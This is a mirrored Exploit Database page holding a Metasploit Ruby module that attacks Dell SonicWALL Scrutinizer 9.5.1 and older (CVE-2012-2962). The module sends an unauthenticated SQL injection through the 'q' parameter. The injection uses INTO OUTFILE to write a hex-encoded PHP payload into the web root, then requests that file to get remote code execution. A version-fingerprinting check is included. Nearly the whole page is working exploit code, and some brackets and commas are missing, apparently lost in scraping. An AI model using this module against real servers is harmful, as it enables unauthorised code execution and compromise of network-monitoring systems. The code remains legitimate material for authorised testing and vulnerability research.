Dell SonicWALL Scrutinizer 9 – SQL Injection (Metasploit)

Exploit Database
145 阅读

作者： Metasploit

日期： 2012-08-03
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/20204/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => "Dell SonicWALL Scrutinizer 9 SQL Injection",

'Description'=> %q{

This module exploits a vulnerability found in Dell SonicWall Scrutinizer.

While handling the 'q' parameter, the PHP application does not properly filter

the user-supplied data, which can be manipulated to inject SQL commands, and

then gain remote code execution.Please note that authentication is NOT needed

to exploit this vulnerability.

'License'=> MSF_LICENSE,

'Author' =>

[

'muts',

'dookie',

'sinn3r'

'References' =>

[

['CVE', '2012-2962'],

['OSVDB', '84232'],

['EDB', '20033'],

['BID', '54625'],

['URL', 'http://www.sonicwall.com/shared/download/Dell_SonicWALL_Scrutinizer_Service_Bulletin_for_SQL_injection_vulnerability_CVE.pdf']

'Payload'=>

{

'BadChars' => "\x00"

'Platform' => 'php',

'Arch' => ARCH_PHP,

'Targets'=>

[

# According to advisory, version 9.5.1 and before are vulnerable.

# But was only able to test this on 9.0.1.0

['Dell SonicWall Scrutinizer 9.5.1 or older', {}]

'Privileged' => false,

'DisclosureDate' => "Jul 22 2012",

'DefaultTarget'=> 0))

register_options(

[

OptString.new('TARGETURI', [true, 'The path to the SonicWall Scrutinizer\'s statusFilter file', '/d4d/statusFilter.php']),

OptString.new('HTMLDIR', [true, 'The HTML root directory for the web application', 'C:\\Program Files\\Scrutinizer\\html\\'])

], self.class)

end

def check

res = send_request_raw({'uri'=>target_uri.host})

if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and

res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

peer = "#{rhost}:#{rport}"

p = "<?php #{payload.encoded} ?>"

hex_payload = p.unpack("H*")[0]

php_fname = Rex::Text.rand_text_alpha(5) + ".php"

rnd_txt = Rex::Text.rand_text_alpha_upper(3)

print_status("#{peer} - Sending SQL injection...")

res = send_request_cgi({

'uri' => target_uri.path,

'method'=> 'POST',

'vars_post' => {

'commonJson' => 'protList',

'q' => "#{rnd_txt}' union select 0x#{hex_payload},0 into outfile '../../html/d4d/#{php_fname}'#"

}

})

if res and res.body !~ /No Results Found/

print_error("#{peer} - I don't think the SQL Injection attempt worked")

return

elsif not res

print_error("#{peer} - No response from the server")

return

end

# For debugging purposes, this is useful

vprint_status(res.to_s)

target_path = "#{File.dirname(target_uri.path)}/#{php_fname}"

print_status("#{peer} - Requesting: #{target_path}")

send_request_raw({'uri' => target_path})

handler

end